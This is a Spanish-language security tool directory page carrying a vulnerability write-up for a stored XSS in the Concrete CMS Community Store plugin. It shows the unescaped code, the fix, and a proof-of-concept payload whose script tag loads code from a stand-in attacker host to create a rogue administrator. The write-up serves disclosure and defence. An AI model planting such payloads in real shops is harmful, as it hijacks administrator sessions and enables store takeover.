Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/prince325/cve-2026-93659-writeup
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPapers e InvestigaciónAprendizaje y EducaciónRecursos Curados
GitHubprince325/cve-2026-93659-writeup

CVE-2026-93659-writeup

XSS almacenado en Concrete CMS Community Store conduce a la toma de control del panel de administración

Ver Repositorio
1hace 5h 38mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-93659: XSS Almacenado en Concrete CMS Community Store Conduce a la Toma de Control del Panel de Administración

Resumen

CVECVE-2026-93659
Componenteconcretecms-community-store/community_store
TipoCross-Site Scripting Almacenado (CWE-79)
SeveridadCVSS v4.0 9.3 Crítica / v3.1 8.7 Alta
Afecta aTodas las versiones anteriores a la 2.7.8
Corregido en2.7.8
CréditoPrince Edem Fiagbedzi (descubridor)

Community Store, un complemento de comercio electrónico de código abierto para Concrete CMS, almacenaba los campos de pedido proporcionados por el cliente sin sanitizarlos y los renderizaba sin escape HTML en cuatro vistas orientadas al administrador. Cualquier visitante no autenticado podía realizar un pedido con una carga útil de script en un campo como el nombre de facturación, y la carga útil se ejecutaba dentro de la sesión autenticada del panel de control de un gestor de la tienda la próxima vez que abría ese pedido, lo suficiente para crear una cuenta de administrador fraudulenta o exfiltrar datos de sesión.

Qué se ve afectado

Cada pedido lleva campos proporcionados por el cliente: nombre, apellido, correo electrónico y teléfono de facturación/envío. Esos campos se almacenan tal cual y se renderizan de vuelta en cuatro lugares que un gestor de la tienda revisa habitualmente:

  • la vista de pedidos del administrador (single_pages/dashboard/store/orders.php)
  • el albarán de pedido imprimible (elements/order_slip.php)
  • el informe de ventas (single_pages/dashboard/store/reports/*.php)
  • la página de confirmación de pago orientada al cliente (single_pages/checkout/complete.php)

Fundamentalmente, realizar un pedido no requiere cuenta. La configuración de pago como invitado de Community Store tiene por defecto always, establecida así por el propio instalador del paquete en cada instalación nueva, no algo que el operador de la tienda tenga que habilitar. Así que esto no es un error que necesite una tienda mal configurada; es explotable contra una instalación predeterminada, lista para usar, sin necesidad de credenciales.

Mitigación

Actualice Community Store a la 2.7.8 o posterior. La corrección añade el escape de salida adecuado a las cuatro ubicaciones de renderizado afectadas. No hay solución alternativa de configuración aparte de actualizar, ya que el comportamiento vulnerable es el propio escape, no una opción.

Detalles técnicos

Ninguna de las cuatro ubicaciones de renderizado escapaba los campos controlados por el cliente. Una línea representativa de la vista de pedidos del administrador:

root@kitploit:~
<?= $order->getAttribute("billing_first_name"). " " . $order->getAttribute("billing_last_name")?><br>

Ninguna llamada a h(), el helper estándar de escape de salida de Concrete, cerca de ella, aunque el mismo archivo usaba h() correctamente unas líneas más allá para otros valores. La validación de entrada no era mejor: la única comprobación aplicada a estos campos era un límite de longitud (1-255 caracteres), nada que eliminara o rechazara HTML.

root@kitploit:~
if (strlen($data['store-checkout']['first-name']) < 1) { ... }
if (strlen($data['store-checkout']['first-name']) > 255) { ... }
// no HTML sanitization

Una carga útil <script> de menos de 255 caracteres en el campo del nombre de facturación pasa la validación sin modificaciones, se almacena y luego se renderiza sin escapar dondequiera que un administrador mire el pedido.

El valor predeterminado del pago como invitado se establece directamente en el instalador:

root@kitploit:~
// src/CommunityStore/Utilities/Installer.php
$this->config->save('community_store', [
    ...
    'guestCheckout' => 'always'
]);

El controlador de pago solo fuerza un inicio de sesión cuando esa configuración es off (o option sin un indicador de invitado), y con el valor predeterminado instalado, esa rama nunca se activa.

Prueba de concepto

Probado contra Community Store v2.7.7 en Concrete CMS 9.5.2 (laboratorio Docker autoalojado, PHP 8.3). Carga útil enviada como un pago como invitado ordinario, sin autenticación de ningún tipo:

root@kitploit:~
billing_first_name = <script src="https://attacker-controlled.example/payload.js"></script>
  1. El atacante envía un pago de aspecto normal con la carga útil anterior. Sin cuenta, sin sesión, sin cookies.
  2. Un gestor de la tienda abre Dashboard > Store > Orders y ve el pedido (la carga útil se dispara igualmente desde el albarán de pedido, el informe de ventas o el propio correo de confirmación del cliente; cualquiera de las cuatro rutas de renderizado sin escapar funciona).
  3. El script se ejecuta con la sesión autenticada del gestor de la tienda y el token CSRF. Para confirmar el impacto real en lugar de solo un cuadro de alerta, alojé la carga útil yo mismo, como lo haría un atacante externo, y la usé para enviar programáticamente el formulario "add administrator" desde dentro de esa sesión, convirtiendo un único pedido malicioso en una toma de control completa de la cuenta de administrador.

Cronología de divulgación

  • Reportado al mantenedor mediante un aviso de seguridad privado de GitHub
  • Corrección enviada por Ryan Hewitt como commit 2a802d6, añadiendo el escape h() a las cuatro ubicaciones de renderizado afectadas
  • Corrección incluida en la versión v2.7.8
  • CVE-2026-93659 publicado a través de VulnCheck como CNA, acreditado a mí como descubridor

Conclusiones

  • El escape de salida tiene que aplicarse de forma consistente en cada ruta de renderizado para un valor dado, no solo en las obvias. Este error se distribuyó durante años porque tres de las cuatro ubicaciones de renderizado aparentemente nunca se revisaron después de que la cuarta se manejara correctamente.
  • "Requiere una cuenta" no es una suposición segura sobre la que construir un modelo de amenazas para un complemento con acceso de invitado configurable. Compruebe el valor predeterminado real distribuido, no la configuración segura teórica.
  • Los complementos de mercado/comunidad para plataformas CMS populares son un buen lugar para empezar a buscar errores: base de instalación real, genuinamente menos auditados que el núcleo.

Referencias

  • CVE-2026-93659
  • Commit de corrección 2a802d6
  • Notas de la versión v2.7.8
  • Repositorio de Community Store
Descargar herramienta